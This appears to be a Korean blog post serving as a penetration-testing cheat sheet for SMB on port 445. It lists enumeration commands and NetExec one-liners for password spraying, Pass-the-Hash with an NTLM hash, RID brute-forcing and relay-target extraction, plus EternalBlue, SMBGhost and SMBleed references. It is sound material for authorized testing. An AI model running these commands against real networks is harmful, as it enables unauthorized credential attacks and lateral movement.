Post

SMB 취약점 진단

SMB 취약점 진단

네트워크 모의해킹을 위해 포트스캐닝을 하다보면 tcp/445의 SMB가 거의 항상 보인다. SMB는 다른 컴퓨터의 파일/프린터/폴더를 네트워크 너머로 쓰게 해주는 프로토콜이다. (e.g. \\서버\공유폴더로 접근하는 네트워크 드라이브나 공용 프린터)

공유 폴더나 프린터뿐 아니라, Active Directory에서 로그인하고 그룹 정책을 뿌리는 작업 등 SMB를 탄다. 따라서 Windows가 있는 내부망은 445가 거의 항상 있고, Linux도 Samba를 깔면 SMB 공유를 열 수 있다.

SMB는 주로 아래와 같이 악용된다.

  1. 파일 공유
    • 공유 폴더 내 중요 파일 등 노출
  2. 인증
    • 탈취한 NTLM 해시를 이용한 Pass-the-Hash
  3. RCE
    • e.g. EternalBlue(MS17-010)

SMB 진단 방법은 아래와 같다.

서비스 식별 및 열거

도구용도예시
nmap NSESMB 관련 정보·취약점 스크립트 일괄 실행nmap -p 445 --script "smb-*" <target>
enum4linux-ng공유·사용자·그룹·패스워드 정책·RID 사이클링을 한 번에 수집enum4linux-ng -A <target>
smbclientnull 세션·게스트 접근 확인, 공유 접속smbclient -L //<target> -N
smbmap공유별 읽기/쓰기 권한 확인smbmap -H <target> -u guest
rpcclientnull 세션으로 사용자·정책 상세 확인rpcclient -U "" -N <target>
NetExec여러 호스트를 한 번에 열거·인증 점검nxc smb <target>

이때 nmap의 smb-security-mode 결과에서 signing이 꺼져 있거나 강제가 아니면 SMB Relay 대상이 된다. (SMB2/3은 smb2-security-mode)

이 중 nxc가 많이 사용된다.

목적명령어
호스트 기본 정보nxc smb <target>
공유 목록 + 읽기/쓰기 권한nxc smb <target> -u user -p pass --shares
null 세션 / 게스트 테스트nxc smb <target> -u '' -p ''
사용자 열거 (RID 브루트포싱)nxc smb <target> -u user -p pass --rid-brute
패스워드 spraynxc smb <range> -u users.txt -p 'q1w2e3!' --continue-on-success
Pass-the-Hashnxc smb <target> -u administrator -H <NTLM-hash>
Relay 대상 추출nxc smb <range> --gen-relay-list relay_targets.txt

1-day

취약점CVEExploit
EternalBlue (MS17-010)CVE-2017-0144nmap --script smb-vuln-ms17-010
SMBGhostCVE-2020-0796ollypwn/SMBGhost
SMBleedCVE-2020-1206jamf/CVE-2020-1206-POC
This post is licensed under CC BY 4.0 by the author.